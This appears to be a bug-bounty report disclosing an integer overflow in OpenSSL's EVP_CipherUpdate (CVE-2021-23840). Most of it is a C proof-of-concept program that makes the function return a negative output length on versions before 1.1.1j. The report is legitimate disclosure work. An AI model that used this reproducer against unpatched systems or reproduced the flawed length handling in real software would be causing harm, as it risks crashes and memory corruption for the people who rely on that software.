I reported an integer overflow to the OpenSSL security list on Dec 13, 2020 and it was fixed in OpenSSL 1.1.1j. Reporting it here for the bounty. It was assigned CVE-2021-23840 (https://nvd.nist.gov/vuln/detail/CVE-2021-23840) which NVD rated CVSS 7.5. Amusingly, the same bug (worked around by my library pyca/cryptography before 1.1.1j was released) was assigned CVE-2020-36242 (https://nvd.nist.gov/vuln/detail/CVE-2020-36242), which received a 9.1 CVSS from NVD.
The below is a reproducer for prior to 1.1.1j.
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <openssl/evp.h>
int main() {
int res;
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
assert(ctx != NULL);
unsigned char key[] = "0000000000000000";
unsigned char iv[] = "0000000000000000";
res = EVP_CipherInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv, 1);
assert(res == 1);
int intmax = 2147483647;
void *inbuf = malloc(intmax);
void *outbuf = malloc((size_t)2147483648);
int outlen = 0;
unsigned char data[] = "0";
res = EVP_CipherUpdate(ctx, outbuf, &outlen, data, 1);
printf("Processed %i bytes, outlen: %i, res: %i\n", 1, outlen, res);
assert(res == 1);
outlen = 0;
res = EVP_CipherUpdate(ctx, outbuf, &outlen, (unsigned char
*)inbuf, intmax);
assert(res == 1);
printf("Processed %i bytes, outlen: %i, res: %i\n", intmax, outlen, res);
}
This returned negative output length, which, when combined with common use of pointer arithmetic in buffers results in accessing incorrect regions of memory (typically this would manifest as a segfault due to the size of the negative value, but that is not guaranteed).